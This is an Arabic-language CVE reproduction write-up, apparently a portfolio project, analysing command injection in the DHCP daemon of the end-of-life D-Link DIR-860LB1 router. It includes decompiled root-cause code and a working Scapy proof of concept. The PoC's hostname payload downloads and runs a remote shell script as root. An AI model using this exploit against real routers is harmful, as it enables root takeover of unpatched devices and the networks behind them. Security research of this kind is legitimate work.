CVE-2025-14659: تحليل حقن الأوامر في خدمة DHCP Daemon الخاصة بـ D-Link

مشروع إعادة إنشاء CVE | الأمن الهجومي

المؤلف: Peter Lin
التاريخ: مايو 2026
ملخص المشروع: أبلغ CVE-2025-14659 عن ثغرة حقن أوامر تستهدف مكوّن DHCP daemon الموجود في جهاز التوجيه اللاسلكي D-Link DIR-860LB1 الذي يعمل بالبرنامج الثابت v203b03. قد تسمح ثغرة حقن الأوامر هذه للمهاجم بتنفيذ أوامر عشوائية بصلاحيات root على جهاز التوجيه المستهدف عندما يقوم عميل DHCP بتجديد عقد إيجار قائم باستخدام اسم مضيف ضار. سأقوم باستخراج البرنامج الثابت لجهاز DIR-860LB1 وتحديد الخلل الموجود في DHCP daemon (udhcpd) من خلال التحليل الساكن باستخدام Ghidra. ثم سأستخدم محرك محاكاة مثل FirmAE لمحاكاة بيئة جهاز التوجيه هذا، وإثبات هجوم إثبات المفهوم ضد هذا الهدف.

🔍 نظرة عامة على الثغرة

معرّف CVE: CVE-2025-14659
درجة CVSS: 8.7 (عالية)
نوع الثغرة: CWE-77 (حقن الأوامر)
الملف التنفيذي المستهدف: udhcpd (DHCP Daemon)
التأثير: وصول root غير مصادق عليه عبر الشبكة المحلية.

🔬 السبب الجذري (تحليل Ghidra الساكن)

بالنظر إلى الدالة udhcpd_main في Ghidra، تقع الثغرة مباشرة داخل كتلة case 3 (DHCPREQUEST):

الاستخراج: تقوم الخدمة بسحب DHCP Option 12 (Hostname) من حزمة العميل باستخدام get_option(auStack_254, 0xc).
الدمج: إذا وُجد اسم مضيف، يتم إدراجه مباشرة في مخزن نصي عبر sprintf():
```
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
```
التنفيذ: ثم يمرر التطبيق ذلك المخزن الخام مباشرة إلى استدعاء system() دون تعقيم أحرف shell:
```
system(acStack_454);
```

نظرًا لأن الخدمة تعمل بصلاحيات root، فإن إضافة أحرف shell الوصفية (مثل ; أو |) إلى اسم المضيف تسمح للمهاجم بتنفيذ أوامر نظام عشوائية.

🛠️ نص إثبات المفهوم (`cve_poc.py`)

يحاكي هذا النص الوظيفي Scapy عميلًا ضارًا يطلب تجديد عقد الإيجار باستخدام حمولة اسم مضيف محقونة:

from scapy.all import *

# ===== Configuration =====
iface = "tap1_0"                          
mac_address = "0a:6f:8c:38:03:52"        
requested_ip = "192.168.0.150"            
dhcp_server_ip = "192.168.0.1"            
attacker_server = "192.168.0.150:12345"   
# =========================

# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0x81de4932) /   
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")

⚠️ تأثير التهديد في العالم الحقيقي

إذا استُغلت الثغرة في الواقع، يمكن للمهاجم استخدامها من أجل:

نشر شبكات البوتنت: تثبيت ملفات تنفيذية ضارة مباشرة في الذاكرة المتطايرة لجهاز التوجيه (/tmp) لتجنيد العتاد في شبكات DDoS.
اختطاف DNS: الكتابة فوق إعدادات DNS الداخلية لتوجيه المستخدمين المحليين بصمت نحو مواقع تصيّد ضارة.
الحركة الجانبية: استخدام جهاز التوجيه الطرفي المخترق كنقطة ارتكاز داخلية لفحص واستهداف أجهزة أخرى داخل الشبكة المحلية.
التحكم الدائم: تثبيت أبواب خلفية أو التلاعب بملفات الإعدادات للحفاظ على وصول إداري غير مصرح به عبر البيئة المحلية.

🛑 إجراءات التخفيف الدفاعية

تحذير دورة حياة العتاد: صنّفت D-Link جهاز DIR-860LB1 ضمن حالة نهاية العمر (EoL). لا يُتوقع أن تعالج التصحيحات الرسمية من البائع هذه المشكلة.
ضوابط أمنية تعويضية:
- تكوين حدود VLAN معزولة مزودة بميزات عزل العملاء الصارمة للحد من الرؤية غير المصادق عليها لنقاط نهاية DHCP.
- إخراج أجهزة التوجيه القديمة من الخدمة بشكل منهجي والترقية إلى تكوينات عتاد مدعومة بنشاط.

📚 المراجع

إخلاء المسؤولية: تم إنشاء هذا المشروع لأغراض تعليمية بحتة، وبناء ملف الأعمال، وأبحاث الأمن الدفاعي.

الأكثر شعبية

Vulnerability-DLink-CVE-2025-14659